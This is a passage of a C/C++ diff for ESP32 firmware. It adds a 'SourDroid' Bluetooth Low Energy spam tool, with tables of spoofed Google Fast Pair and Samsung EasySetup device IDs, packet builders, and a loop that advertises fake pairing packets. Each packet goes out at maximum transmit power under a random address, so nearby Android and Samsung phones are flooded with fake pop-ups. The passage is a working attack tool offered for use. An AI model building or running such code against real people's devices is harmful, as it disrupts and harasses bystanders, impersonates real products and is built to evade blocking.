ADV_CHNL_ALL, + .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY +}; + +static const struct { + uint32_t value; + const char* name; +} fastpair_models[] = { + {0x0001F0, "Bisto CSR8670 Dev Board"}, + {0x000047, "Arduino 101"}, + {0x470000, "Arduino 101 2"}, + {0x00000A, "Anti-Spoof Test"}, + {0x0A0000, "Anti-Spoof Test 2"}, + {0x00000B, "Google Gphones"}, + {0x0B0000, "Google Gphones 2"}, + {0x0C0000, "Google Gphones 3"}, + {0x00000D, "Test 00000D"}, + {0x000007, "Android Auto"}, + {0x070000, "Android Auto 2"}, + {0x000008, "Foocorp Foophones"}, + {0x080000, "Foocorp Foophones 2"}, + {0x000009, "Test Android TV"}, + {0x090000, "Test Android TV 2"}, + {0x000035, "Test 000035"}, + {0x350000, "Test 000035 2"}, + {0x000048, "Fast Pair Headphones"}, + {0x480000, "Fast Pair Headphones 2"}, + {0x000049, "Fast Pair Headphones 3"}, + {0x490000, "Fast Pair Headphones 4"}, + {0x001000, "LG HBS1110"}, + {0x00B727, "Smart Controller 1"}, + {0x01E5CE, "BLE-Phone"}, + {0x0200F0, "Goodyear"}, + {0x00F7D4, "Smart Setup"}, + {0xF00002, "Goodyear"}, + {0xF00400, "T10"}, + {0x1E89A7, "ATS2833_EVB"}, + {0x00000C, "Google Gphones Transfer"}, + {0x0577B1, "Galaxy S23 Ultra"}, + {0x05A9BC, "Galaxy S20+"}, + {0xCD8256, "Bose NC 700"}, + {0x0000F0, "Bose QuietComfort 35 II"}, + {0xF00000, "Bose QuietComfort 35 II 2"}, + {0x821F66, "JBL Flip 6"}, + {0xF52494, "JBL Buds Pro"}, + {0x718FA4, "JBL Live 300TWS"}, + {0x0002F0, "JBL Everest 110GA"}, + {0x92BBBD, "Pixel Buds"}, + {0x000006, "Google Pixel buds"}, + {0x060000, "Google Pixel buds 2"}, + {0xD446A7, "Sony XM5"}, + {0x2D7A23, "Sony WF-1000XM4"}, + {0x0E30C3, "Razer Hammerhead TWS"}, + {0x72EF8D, "Razer Hammerhead TWS X"}, + {0x72FB00, "Soundcore Spirit Pro GVA"}, + {0x0003F0, "LG HBS-835S"}, + {0x002000, "AIAIAI TMA-2 (H60)"}, + {0x003000, "Libratone Q Adapt On-Ear"}, + {0x003001, "Libratone Q Adapt On-Ear 2"}, + {0x00A168, "boAt Airdopes 621"}, + {0x00AA48, "Jabra Elite 2"}, + {0x00AA91, "Beoplay E8 2.0"}, + {0x00C95C, "Sony WF-1000X"}, + {0x01EEB4, "WH-1000XM4"}, + {0x02AA91, "B&O Earset"}, + {0x01C95C, "Sony WF-1000X"}, + {0x02D815, "ATH-CK1TW"}, + {0x035764, "PLT V8200 Series"}, + {0x038CC7, "JBL TUNE760NC"}, + {0x02DD4F, "JBL TUNE770NC"}, + {0x02E2A9, "TCL MOVEAUDIO S200"}, + {0x035754, "Plantronics PLT_K2"}, + {0x02C95C, "Sony WH-1000XM2"}, + {0x038B91, "DENON AH-C830NCW"}, + {0x02F637, "JBL LIVE FLEX"}, + {0x02D886, "JBL REFLECT MINI NC"}, + {0xF00000, "Bose QuietComfort 35 II"}, + {0xF00001, "Bose QuietComfort 35 II"}, + {0xF00201, "JBL Everest 110GA"}, + {0xF00204, "JBL Everest 310GA"}, + {0xF00209, "JBL LIVE400BT"}, + {0xF00205, "JBL Everest 310GA"}, + {0xF00200, "JBL Everest 110GA"}, + {0xF00208, "JBL Everest 710GA"}, + {0xF00207, "JBL Everest 710GA"}, + {0xF00206, "JBL Everest 310GA"}, + {0xF0020A, "JBL LIVE400BT"}, + {0xF0020B, "JBL LIVE400BT"}, + {0xF0020C, "JBL LIVE400BT"}, + {0xF00203, "JBL Everest 310GA"}, + {0xF00202, "JBL Everest 110GA"}, + {0xF00213, "JBL LIVE650BTNC"}, + {0xF0020F, "JBL LIVE500BT"}, + {0xF0020E, "JBL LIVE500BT"}, + {0xF00214, "JBL LIVE650BTNC"}, + {0xF00212, "JBL LIVE500BT"}, + {0xF0020D, "JBL LIVE400BT"}, + {0xF00211, "JBL LIVE500BT"}, + {0xF00215, "JBL LIVE650BTNC"}, + {0xF00210, "JBL LIVE500BT"}, + {0xF00305, "LG HBS-1500"}, + {0xF00304, "LG HBS-1010"}, + {0xF00308, "LG HBS-1125"}, + {0xF00303, "LG HBS-930"}, + {0xF00306, "LG HBS-1700"}, + {0xF00300, "LG HBS-835S"}, + {0xF00309, "LG HBS-2000"}, + {0xF00302, "LG HBS-830"}, + {0xF00307, "LG HBS-1120"}, + {0xF00301, "LG HBS-835"}, + {0xF00E97, "JBL VIBE BEAM"}, + {0x04ACFC, "JBL WAVE BEAM"}, + {0x04AA91, "Beoplay H4"}, + {0x04AFB8, "JBL TUNE 720BT"}, + {0x05A963, "WONDERBOOM 3"}, + {0x05AA91, "B&O Beoplay E6"}, + {0x05C452, "JBL LIVE220BT"}, + {0x05C95C, "Sony WI-1000X"}, + {0x0602F0, "JBL Everest 310GA"}, + {0x0603F0, "LG HBS-1700"}, + {0x1E8B18, "SRS-XB43"}, + {0x1E955B, "WI-1000XM2"}, + {0x1EC95C, "Sony WF-SP700N"}, + {0x1ED9F9, "JBL WAVE FLEX"}, + {0x1EE890, "ATH-CKS30TW WH"}, + {0x1EEDF5, "Teufel REAL BLUE TWS 3"}, + {0x1F1101, "TAG Heuer Calibre E4 45mm"}, + {0x1F181A, "LinkBuds S"}, + {0x1F2E13, "Jabra Elite 2"}, + {0x1F4589, "Jabra Elite 2"}, + {0x1F4627, "SRS-XG300"}, + {0x1F5865, "boAt Airdopes 441"}, + {0x1FBB50, "WF-C700N"}, + {0x1FC95C, "Sony WF-SP700N"}, + {0x1FE765, "TONE-TF7Q"}, + {0x1FF8FA, "JBL REFLECT MINI NC"}, + {0x201C7C, "SUMMIT"}, + {0x202B3D, "Amazfit PowerBuds"}, + {0x20330C, "SRS-XB33"}, + {0x003B41, "M&D MW65"}, + {0x003D8A, "Cleer FLOW II"}, + {0x005BC3, "Panasonic RP-HD610N"}, + {0x008F7D, "soundcore Glow Mini"}, + {0x00FA72, "Pioneer SE-MS9BN"}, + {0x0100F0, "Bose QuietComfort 35 II"}, + {0x011242, "Nirvana Ion"}, + {0x013D8A, "Cleer EDGE Voice"}, + {0x01AA91, "Beoplay H9 3rd Generation"}, + {0x038F16, "Beats Studio Buds"}, + {0x039F8F, "Michael Kors Darci 5e"}, + {0x03AA91, "B&O Beoplay H8i"}, + {0x03B716, "YY2963"}, + {0x03C95C, "Sony WH-1000XM2"}, + {0x03C99C, "MOTO BUDS 135"}, + {0x03F5D4, "Writing Account Key"}, + {0x045754, "Plantronics PLT_K2"}, + {0x045764, "PLT V8200 Series"}, + {0x04C95C, "Sony WI-1000X"}, + {0x050F0C, "Major III Voice"}, + {0x052CC7, "MINOR III"}, + {0x057802, "TicWatch Pro 5"}, + {0x0582FD, "Pixel Buds"}, + {0x058D08, "WH-1000XM4"}, + {0x06AE20, "Galaxy S21 5G"}, + {0x06C197, "OPPO Enco Air3 Pro"}, + {0x06C95C, "Sony WH-1000XM2"}, + {0x06D8FC, "soundcore Liberty 4 NC"}, + {0x0744B6, "Technics EAH-AZ60M2"}, + {0x07A41C, "WF-C700N"}, + {0x07C95C, "Sony WH-1000XM2"}, + {0x07F426, "Nest Hub Max"}, + {0x0102F0, "JBL Everest 110GA - Gun Metal"}, + {0x0202F0, "JBL Everest 110GA - Silver"}, + {0x0302F0, "JBL Everest 310GA - Brown"}, + {0x0402F0, "JBL Everest 310GA - Gun Metal"}, + {0x0502F0, "JBL Everest 310GA - Silver"}, + {0x0702F0, "JBL Everest 710GA - Gun Metal"}, + {0x0802F0, "JBL Everest 710GA - Silver"}, + {0x054B2D, "JBL TUNE125TWS"}, + {0x0660D7, "JBL LIVE770NC"}, + {0x0103F0, "LG HBS-835"}, + {0x0203F0, "LG HBS-830"}, + {0x0303F0, "LG HBS-930"}, + {0x0403F0, "LG HBS-1010"}, + {0x0503F0, "LG HBS-1500"}, + {0x0703F0, "LG HBS-1120"}, + {0x0803F0, "LG HBS-1125"}, + {0x0903F0, "LG HBS-2000"}, + {0x071C74, "JBL Flip 6"}, + {0x0DC6BF, "My Awesome Device II"}, + {0x0DC95C, "Sony WH-1000XM3"}, + {0x0DEC2B, "Emporio Armani EA Connected"}, + {0x0E138D, "WF-SP800N"}, + {0x0EC95C, "Sony WI-C600N"}, + {0x0ECE95, "Philips TAT3508"}, + {0x0F0993, "COUMI TWS-834A"}, + {0x0F1B8D, "JBL VIBE BEAM"}, + {0x0F232A, "JBL TUNE BUDS"}, + {0x0F2D16, "WH-CH520"}, + {0x20A19B, "WF-SP800N"}, + {0x20C95C, "Sony WF-SP700N"}, + {0x20CC2C, "SRS-XB43"}, + {0x213C8C, "DIZO Wireless Power"}, + {0x21521D, "boAt Rockerz 355 (Green)"}, + {0x21A04E, "oraimo FreePods Pro"}, + {0x5BA9B5, "WF-SP800N"}, + {0x5BACD6, "Bose QC Ultra Earbuds"}, + {0x5BD6C9, "JBL TUNE225TWS"}, + {0x5BE3D4, "JBL Flip 6"}, + {0x5C0206, "UA | JBL TWS STREAK"}, + {0x5C0C84, "JBL TUNE225TWS"}, + {0x5C4833, "WH-CH720N"}, + {0x5C4A7E, "LG HBS-XL7"}, + {0x5C55E7, "TCL MOVEAUDIO S200"}, + {0x5C7CDC, "WH-1000XM5"}, + {0x5C8AA5, "JBL LIVE220BT"}, + {0x5CC900, "Sony WF-1000X"}, + {0x5CC901, "Sony WF-1000X"}, + {0x5CC902, "Sony WH-1000XM2"}, + {0x5CC903, "Sony WH-1000XM2"}, + {0x5CC904, "Sony WI-1000X"}, + {0x5CC905, "Sony WI-1000X"}, + {0x5CC906, "Sony WH-1000XM2"}, + {0x5CC907, "Sony WH-1000XM2"}, + {0x5CC908, "Sony WI-1000X"}, + {0x5CC909, "Sony WI-1000X"}, + {0x5CC90A, "Sony WH-1000XM3"}, + {0x5CC90B, "Sony WH-1000XM3"}, + {0x5CC90C, "Sony WH-1000XM3"}, + {0x5CC90D, "Sony WH-1000XM3"}, + {0x5CC90E, "Sony WI-C600N"}, + {0x5CC90F, "Sony WI-C600N"}, + {0x5CC910, "Sony WI-C600N"}, + {0x5CC911, "Sony WI-C600N"}, + {0x5CC912, "Sony WI-C600N"}, + {0x5CC913, "Sony WI-C600N"}, + {0x5CC914, "Sony WI-SP600N"}, + {0x5CC915, "Sony WI-SP600N"}, + {0x5CC916, "Sony WI-SP600N"}, + {0x5CC917, "Sony WI-SP600N"}, + {0x5CC918, "Sony WI-SP600N"}, + {0x5CC919, "Sony WI-SP600N"}, + {0x5CC91A, "Sony WI-SP600N"}, + {0x5CC91B, "Sony WI-SP600N"}, + {0x5CC91C, "Sony WI-SP600N"}, + {0x5CC91D, "Sony WI-SP600N"}, + {0x5CC91E, "Sony WF-SP700N"}, + {0x5CC91F, "Sony WF-SP700N"}, + {0x5CC920, "Sony WF-SP700N"}, + {0x5CC921, "Sony WF-SP700N"}, + {0x5CC922, "Sony WF-SP700N"}, + {0x5CC923, "Sony WF-SP700N"}, + {0x5CC924, "Sony WF-SP700N"}, + {0x5CC925, "Sony WF-SP700N"}, + {0x5CC926, "Sony WF-SP700N"}, + {0x5CC927, "Sony WF-SP700N"}, + {0x5CC928, "Sony WH-H900N"}, + {0x5CC929, "Sony WH-H900N"}, + {0x5CC92A, "Sony WH-H900N"}, + {0x5CC92B, "Sony WH-H900N"}, + {0x5CC92C, "Sony WH-H900N"}, + {0x5CC92D, "Sony WH-H900N"}, + {0x5CC92E, "Sony WH-H900N"}, + {0x5CC92F, "Sony WH-H900N"}, + {0x5CC930, "Sony WH-H900N"}, + {0x5CC931, "Sony WH-H900N"}, + {0x5CC932, "Sony WH-CH700N"}, + {0x5CC933, "Sony WH-CH700N"}, + {0x5CC934, "Sony WH-CH700N"}, + {0x5CC935, "Sony WH-CH700N"}, + {0x5CC936, "Sony WH-CH700N"}, + {0x5CC937, "Sony WH-CH700N"}, + {0x5CC938, "Sony WF-1000XM3"}, + {0x5CC939, "Sony WF-1000XM3"}, + {0x5CC93A, "Sony WF-1000XM3"}, + {0x5CC93B, "Sony WF-1000XM3"}, + {0x5CC93C, "Sony WH-XB700"}, + {0x5CC93D, "Sony WH-XB700"}, + {0x5CC93E, "Sony WH-XB700"}, + {0x5CC93F, "Sony WH-XB700"}, + {0x5CC940, "Sony WH-XB900N"}, + {0x5CC941, "Sony WH-XB900N"}, + {0x5CC942, "Sony WH-XB900N"}, + {0x5CC943, "Sony WH-XB900N"}, + {0x5CC944, "Sony WH-XB900N"}, + {0x5CC945, "Sony WH-XB900N"}, + {0x5CEE3C, "Fitbit Charge 4"}, + {0x6AD226, "TicWatch Pro 3"}, + {0x6B1C64, "Pixel Buds"}, + {0x6B8C65, "oraimo FreePods 4"}, + {0x6B9304, "Nokia SB-101"}, + {0x6BA5C3, "Jabra Elite 4"}, + {0x6C42C0, "TWS05"}, + {0x6C4DE5, "JBL LIVE PRO 2 TWS"}, + {0x89BAD5, "Galaxy A23 5G"}, + {0x8A31B7, "Bose QC Ultra Headphones"}, + {0x8A3D00, "Cleer FLOW Ⅱ"}, + {0x8A3D01, "Cleer EDGE Voice"}, + {0x8A8F23, "WF-1000XM5"}, + {0x8AADAE, "JLab GO Work 2"}, + {0x8B0A91, "Jabra Elite 5"}, + {0x8B5A7B, "TicWatch Pro 3 GPS"}, + {0x8B66AB, "Pixel Buds A-Series"}, + {0x8BB0A0, "Nokia Solo Bud+"}, + {0x8BF79A, "Oladance Whisper E1"}, + {0x8C07D2, "Jabra Elite 4 Active"}, + {0x8C1706, "YY7861E"}, + {0x8C4236, "GLIDiC mameBuds"}, + {0x8C6B6A, "realme Buds Air 3S"}, + {0x8CAD81, "KENWOOD WS-A1"}, + {0x8CB05C, "JBL LIVE PRO+ TWS"}, + {0x8CD10F, "realme Buds Air Pro"}, + {0x8D13B9, "BLE-TWS"}, + {0x8D16EA, "Galaxy M14 5G"}, + {0x8D5B67, "Pixel 90c"}, + {0x8E14D7, "LG-TONE-TFP8"}, + {0x8E1996, "Galaxy A24 5g"}, + {0x8E4666, "Oladance Wearable Stereo"}, + {0x8E5550, "boAt Airdopes 511v2"}, + {0x9101F0, "Jabra Elite 2"}, + {0x9128CB, "TCL MOVEAUDIO Neo"}, + {0x913B0C, "YH-E700B"}, + {0x915CFA, "Galaxy A14"}, + {0x9171BE, "Jabra Evolve2 65 Flex"}, + {0x917E46, "LinkBuds"}, + {0x91AA00, "Beoplay E8 2.0"}, + {0x91AA01, "Beoplay H9 3rd Generation"}, + {0x91AA02, "B&O Earset"}, + {0x91AA03, "B&O Beoplay H8i"}, + {0x91AA04, "Beoplay H4"}, + {0x91AA05, "B&O Beoplay E6"}, + {0x91BD38, "LG HBS-FL7"}, + {0x91C813, "JBL TUNE770NC"}, + {0x91DABC, "SRS-XB33"}, + {0x92255E, "LG-TONE-FP6"}, + {0x989D0A, "Set up your new Pixel 2"}, + {0x9939BC, "ATH-SQ1TW"}, + {0x994374, "EDIFIER W320TN"}, + {0x997B4A, "UA | JBL True Wireless Flash X"}, + {0x99C87B, "WH-H810 (h.ear)"}, + {0x99D7EA, "oraimo OpenCirclet"}, + {0x99F098, "Galaxy S22 Ultra"}, + {0x9A408A, "MOTO BUDS 065"}, + {0x9A9BDD, "WH-XB910N"}, + {0x9ADB11, "Pixel Buds Pro"}, + {0x9AEEA4, "LG HBS-FN4"}, + {0x9B7339, "AKG N9 Hybrid"}, + {0x9B735A, "JBL RFL FLOW PRO"}, + {0x9B9872, "Hyundai"}, + {0x9BC64D, "JBL TUNE225TWS"}, + {0x9BE931, "WI-C100"}, + {0x9C0AF7, "JBL VIBE BUDS"}, + {0x9C3997, "ATH-M50xBT2"}, + {0x9C4058, "JBL WAVE FLEX"}, + {0x9C6BC0, "LinkBuds S"}, + {0x9C888B, "WH-H910N (h.ear)"}, + {0x9C98DB, "JBL TUNE225TWS"}, + {0x9CA277, "YY2963"}, + {0x9CB5F3, "WH-1000XM5"}, + {0x9CB881, "soundcore Motion 300"}, + {0x9CD0F3, "LG HBS-TFN7"}, + {0x9CE3C7, "EDIFIER NeoBuds Pro 2"}, + {0x9CEFD1, "SRS-XG500"}, + {0x9CF08F, "JLab Epic Air ANC"}, + {0x9D00A6, "Urbanears Juno"}, + {0x9D7D42, "Galaxy S20"}, + {0x9DB896, "Your BMW"}, + {0xA7E52B, "Bose NC 700 Headphones"}, + {0xA7EF76, "JBL CLUB PRO+ TWS"}, + {0xA8001A, "JBL CLUB ONE"}, + {0xA83C10, "adidas Z.N.E. 01"}, + {0xA8658F, "ROCKSTER GO"}, + {0xA8845A, "oraimo FreePods 4"}, + {0xA88B69, "WF-SP800N"}, + {0xA8A00E, "Nokia CB-201"}, + {0xA8A72A, "JBL LIVE670NC"}, + {0xA8C636, "JBL TUNE660NC"}, + {0xA8CAAD, "Galaxy F04"}, + {0xA8E353, "JBL TUNE BEAM"}, + {0xA8F96D, "JBL ENDURANCE RUN 2 WIRELESS"}, + {0xA90358, "JBL LIVE220BT"}, + {0xA92498, "JBL WAVE BUDS"}, + {0xA9394A, "JBL TUNE230NC TWS"}, + {0xC6936A, "JBL LIVE PRO+ TWS"}, + {0xC69AFD, "WF-H800 (h.ear)"}, + {0xC6ABEA, "UA | JBL True Wireless Flash X"}, + {0xC6EC5F, "SRS-XE300"}, + {0xC7736C, "Philips PH805"}, + {0xC79B91, "Jabra Evolve2 75"}, + {0xC7A267, "Fake Test Mouse"}, + {0xC7D620, "JBL Pulse 5"}, + {0xC7FBCC, "JBL VIBE FLEX"}, + {0xC8162A, "LinkBuds S"}, + {0xC85D7A, "JBL ENDURANCE PEAK II"}, + {0xC8777E, "Jaybird Vista 2"}, + {0xC878AA, "SRS-XV800"}, + {0xC8C641, "Redmi Buds 4 Lite"}, + {0xC8D335, "WF-1000XM4"}, + {0xC8E228, "Pixel Buds Pro"}, + {0xC9186B, "WF-1000XM4"}, + {0xC9836A, "JBL Xtreme 4"}, + {0xCA7030, "ATH-TWX7"}, + {0xCAB6B8, "ATH-M20xBT"}, + {0xCAF511, "Jaybird Vista 2"}, + {0xCB093B, "Urbanears Juno"}, + {0xCB529D, "soundcore Glow"}, + {0xCC438E, "WH-1000XM4"}, + {0xCC5F29, "JBL TUNE660NC"}, + {0xCC754F, "YY2963"}, + {0xCC93A5, "Sync"}, + {0xCCBB7E, "MIDDLETON"}, + {0xD5A59E, "Jabra Elite Speaker"}, + {0xD5B5F7, "MOTO BUDS 600 ANC"}, + {0xD5C6CE, "realme TechLife Buds T100"}, + {0xD654CD, "JBL Xtreme 4"}, + {0xD65F4E, "Philips Fidelio T2"}, + {0xD69B2B, "TONE-T80S"}, + {0xD6C195, "LG HBS-SL5"}, + {0xD6E870, "Beoplay EX"}, + {0xD6EE84, "Rockerz 255 Max"}, + {0xD7102F, "ATH-SQ1TW SVN"}, + {0xD7E3EB, "Cleer HALO"}, + {0xD8058C, "MOTIF II A.N.C."}, + {0xD820EA, "WH-XB910N"}, + {0xD87A3E, "Pixel Buds Pro"}, + {0xD8F3BA, "WH-1000XM5"}, + {0xD8F4E8, "realme Buds T100"}, + {0xD90617, "Redmi Buds 4 Active"}, + {0xD933A7, "JBL ENDURANCE PEAK 3"}, + {0xD9414F, "JBL SOUNDGEAR SENSE"}, + {0xD97EBA, "JBL TUNE125TWS"}, + {0xD9964B, "JBL TUNE670NC"}, + {0xDA0F83, "SPACE"}, + {0xDA4577, "Jabra Elite 4 Active"}, + {0xDA5200, "blackbox TRIP II"}, + {0xDAD3A6, "Jabra Elite 10"}, + {0xDADE43, "Chromebox"}, + {0xDAE096, "adidas RPT-02 SOL"}, + {0xDB8AC7, "LG TONE-FREE"}, + {0xDBE5B1, "WF-1000XM4"}, + {0xDC5249, "WH-H810 (h.ear)"}, + {0xDCF33C, "JBL REFLECT MINI NC"}, + {0xDD4EC0, "OPPO Enco Air3 Pro"}, + {0xDE215D, "WF-C500"}, + {0xDE577F, "Teufel AIRY TWS 2"}, + {0xDEC04C, "SUMMIT"}, + {0xDEDD6F, "soundcore Space One"}, + {0xDEE8C0, "Ear (2)"}, + {0xDEEA86, "Xiaomi Buds 4 Pro"}, + {0xDEF234, "WH-H810 (h.ear)"}, + {0xDF01E3, "Sync"}, + {0xDF271C, "Big Bang e Gen 3"}, + {0xDF42DE, "TAG Heuer Calibre E4 42mm"}, + {0xDF4B02, "SRS-XB13"}, + {0xDF9BA4, "Bose NC 700 Headphones"}, + {0xDFD433, "JBL REFLECT AERO"}, + {0xE020C1, "soundcore Motion 300"}, + {0xE06116, "LinkBuds S"}, + {0xE07634, "OnePlus Buds Z"}, + {0xE09172, "JBL TUNE BEAM"}, + {0xE4E457, "Galaxy S20 5G"}, + {0xE5440B, "TAG Heuer Calibre E4 45mm"}, + {0xE57363, "Oladance Wearable Stereo"}, + {0xE57B57, "Super Device"}, + {0xE5B4B0, "WF-1000XM5"}, + {0xE5B91B, "SRS-XB33"}, + {0xE5E2E9, "Zone Wireless 2"}, + {0xE64613, "JBL WAVE BEAM"}, + {0xE64CC6, "Set up your new Pixel 3 XL"}, + {0xE69877, "JBL REFLECT AERO"}, + {0xE6E37E, "realme Buds Air 5 Pro"}, + {0xE6E771, "ATH-CKS50TW"}, + {0xE6E8B8, "POCO Pods"}, + {0xE750CE, "Jabra Evolve2 75"}, + {0x0052DA, "blackbox TRIP II"}, + {0x109201, "Beoplay H9 3rd Generation"}, + {0x124366, "BLE-Phone"}, + {0x126644, "WH-1000XM4"}, + {0x284500, "Plantronics PLT_K2"}, + {0x532011, "Big Bang e Gen 3"}, + {0x549547, "JBL WAVE BUDS"}, + {0x567679, "Pixel Buds Pro"}, + {0x575836, "Sony WI-1000X"}, + {0x596007, "MOTIF II A.N.C."}, + {0x612907, "Redmi Buds 4 Lite"}, + {0x614199, "Oraimo FreePods Pro"}, + {0x625740, "LG-TONE-NP3"}, + {0x641372, "Sony WI-1000X"}, + {0x641630, "boAt Airdopes 452"}, + {0x664454, "JBL TUNE 520BT"}, + {0x706908, "Sony WH-1000XM3"}, + {0x837980, "Sony WH-1000XM3"}, + {0x855347, "NIRVANA NEBULA"}, + {0x861698, "LinkBuds"}, + {0xCB2FE7, "soundcore Motion X500"}, +}; +static const uint16_t fastpair_count = sizeof(fastpair_models) / sizeof(fastpair_models[0]); + +static const struct { + uint32_t value; + const char* name; +} buds_models[] = { + {0xEE7A0C, "Fallback Buds"}, + {0x9D1700, "Fallback Dots"}, + {0x39EA48, "Light Purple Buds2"}, + {0xA7C62C, "Bluish Silver Buds2"}, + {0x850116, "Black Buds Live"}, + {0x3D8F41, "Gray & Black Buds2"}, + {0x3B6D02, "Bluish Chrome Buds2"}, + {0xAE063C, "Gray Beige Buds2"}, + {0xB8B905, "Pure White Buds"}, + {0xEAAA17, "Pure White Buds2"}, + {0xD30704, "Black Buds"}, + {0x9DB006, "French Flag Buds"}, + {0x101F1A, "Dark Purple Buds Live"}, + {0x859608, "Dark Blue Buds"}, + {0x8E4503, "Pink Buds"}, + {0x2C6740, "White & Black Buds2"}, + {0x3F6718, "Bronze Buds Live"}, + {0x42C519, "Red Buds Live"}, + {0xAE073A, "Black & White Buds2"}, + {0x011716, "Sleek Black Buds2"}, +}; +static const uint8_t buds_count = sizeof(buds_models) / sizeof(buds_models[0]); + +static const struct { + uint8_t value; + const char* name; +} watch_models[] = { + {0x1A, "Fallback Watch"}, + {0x01, "White Watch4 Classic 44m"}, + {0x02, "Black Watch4 Classic 40m"}, + {0x03, "White Watch4 Classic 40m"}, + {0x04, "Black Watch4 44mm"}, + {0x05, "Silver Watch4 44mm"}, + {0x06, "Green Watch4 44mm"}, + {0x07, "Black Watch4 40mm"}, + {0x08, "White Watch4 40mm"}, + {0x09, "Gold Watch4 40mm"}, + {0x0A, "French Watch4"}, + {0x0B, "French Watch4 Classic"}, + {0x0C, "Fox Watch5 44mm"}, + {0x11, "Black Watch5 44mm"}, + {0x12, "Sapphire Watch5 44mm"}, + {0x13, "Purpleish Watch5 40mm"}, + {0x14, "Gold Watch5 40mm"}, + {0x15, "Black Watch5 Pro 45mm"}, + {0x16, "Gray Watch5 Pro 45mm"}, + {0x17, "White Watch5 44mm"}, + {0x18, "White & Black Watch5"}, + {0xE4, "Black Watch5 Golf Edition"}, + {0xE5, "White Watch5 Gold Edition"}, + {0x1B, "Black Watch6 Pink 40mm"}, + {0x1C, "Gold Watch6 Gold 40mm"}, + {0x1D, "Silver Watch6 Cyan 44mm"}, + {0x1E, "Black Watch6 Classic 43m"}, + {0x20, "Green Watch6 Classic 43m"}, + {0xEC, "Black Watch6 Golf Edition"}, + {0xEF, "Black Watch6 TB Edition"}, +}; +static const uint8_t watch_count = sizeof(watch_models) / sizeof(watch_models[0]); + +static void drawSourDroidMenu() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "SourDroid:"); + u8g2.drawStr(0, 22, menuSelection == 0 ? "> FastPair (Android)" : " FastPair (Android)"); + u8g2.drawStr(0, 32, menuSelection == 1 ? "> EasySetup (Samsung)" : " EasySetup (Samsung)"); + u8g2.drawStr(0, 42, menuSelection == 2 ? "> All" : " All"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Move R=Start SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawActiveSpam(const char* modeName) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, modeName); + u8g2.drawStr(0, 30, "Status: Active"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void makeFastPairPacket(uint32_t model, uint8_t* size, uint8_t** packet) { + uint8_t pkt_size = 14; + uint8_t* pkt = (uint8_t*)malloc(pkt_size); + uint8_t i = 0; + + pkt[i++] = 3; + pkt[i++] = 0x03; + pkt[i++] = 0x2C; + pkt[i++] = 0xFE; + + pkt[i++] = 6; + pkt[i++] = 0x16; + pkt[i++] = 0x2C; + pkt[i++] = 0xFE; + pkt[i++] = (model >> 0x10) & 0xFF; + pkt[i++] = (model >> 0x08) & 0xFF; + pkt[i++] = (model >> 0x00) & 0xFF; + + pkt[i++] = 2; + pkt[i++] = 0x0A; + pkt[i++] = (rand() % 120) - 100; + + *size = pkt_size; + *packet = pkt; +} + +static void makeEasySetupBudsPacket(uint32_t model, uint8_t* size, uint8_t** packet) { + uint8_t pkt_size = 31; + uint8_t* pkt = (uint8_t*)malloc(pkt_size); + uint8_t i = 0; + + pkt[i++] = 27; + pkt[i++] = 0xFF; + pkt[i++] = 0x75; + pkt[i++] = 0x00; + pkt[i++] = 0x42; + pkt[i++] = 0x09; + pkt[i++] = 0x81; + pkt[i++] = 0x02; + pkt[i++] = 0x14; + pkt[i++] = 0x15; + pkt[i++] = 0x03; + pkt[i++] = 0x21; + pkt[i++] = 0x01; + pkt[i++] = 0x09; + pkt[i++] = (model >> 0x10) & 0xFF; + pkt[i++] = (model >> 0x08) & 0xFF; + pkt[i++] = 0x01; + pkt[i++] = (model >> 0x00) & 0xFF; + pkt[i++] = 0x06; + pkt[i++] = 0x3C; + pkt[i++] = 0x94; + pkt[i++] = 0x8E; + pkt[i++] = 0x00; + pkt[i++] = 0x00; + pkt[i++] = 0x00; + pkt[i++] = 0x00; + pkt[i++] = 0xC7; + pkt[i++] = 0x00; + + pkt[i++] = 16; + pkt[i++] = 0xFF; + pkt[i++] = 0x75; + + *size = pkt_size; + *packet = pkt; +} + +static void makeEasySetupWatchPacket(uint8_t model, uint8_t* size, uint8_t** packet) { + uint8_t pkt_size = 15; + uint8_t* pkt = (uint8_t*)malloc(pkt_size); + uint8_t i = 0; + + pkt[i++] = 14; + pkt[i++] = 0xFF; + pkt[i++] = 0x75; + pkt[i++] = 0x00; + pkt[i++] = 0x01; + pkt[i++] = 0x00; + pkt[i++] = 0x02; + pkt[i++] = 0x00; + pkt[i++] = 0x01; + pkt[i++] = 0x01; + pkt[i++] = 0xFF; + pkt[i++] = 0x00; + pkt[i++] = 0x00; + pkt[i++] = 0x43; + pkt[i++] = (model >> 0x00) & 0xFF; + + *size = pkt_size; + *packet = pkt; +} + +static void advertisePacket(uint8_t* packet, uint8_t size) { + static unsigned long lastAdv = 0; + unsigned long now = millis(); + + if (now - lastAdv < 15) { + delay(15 - (now - lastAdv)); + } + + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + delay(5); + isCurrentlyAdvertising = false; + } + + esp_bd_addr_t randAddr; + for (int i = 0; i < 6; i++) randAddr[i] = random(0, 256); + randAddr[0] = (randAddr[0] & 0x3F) | 0xC0; + esp_ble_gap_set_rand_addr(randAddr); + + esp_ble_gap_config_adv_data_raw(packet, size); + delay(5); + esp_ble_gap_start_advertising(&adv_params); + isCurrentlyAdvertising = true; + lastAdv = millis(); +} + +void sourDroidSetup() { + randomSeed((uint32_t)esp_random()); + pinMode(BUTTON_PIN_UP, INPUT_PULLUP); + pinMode(BUTTON_PIN_DOWN, INPUT_PULLUP); + pinMode(BUTTON_PIN_RIGHT, INPUT_PULLUP); + pinMode(BUTTON_PIN_LEFT, INPUT_PULLUP); + + initBLE(); + + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN, ESP_PWR_LVL_P9); + + esp_ble_gap_register_callback([](esp_gap_ble_cb_event_t 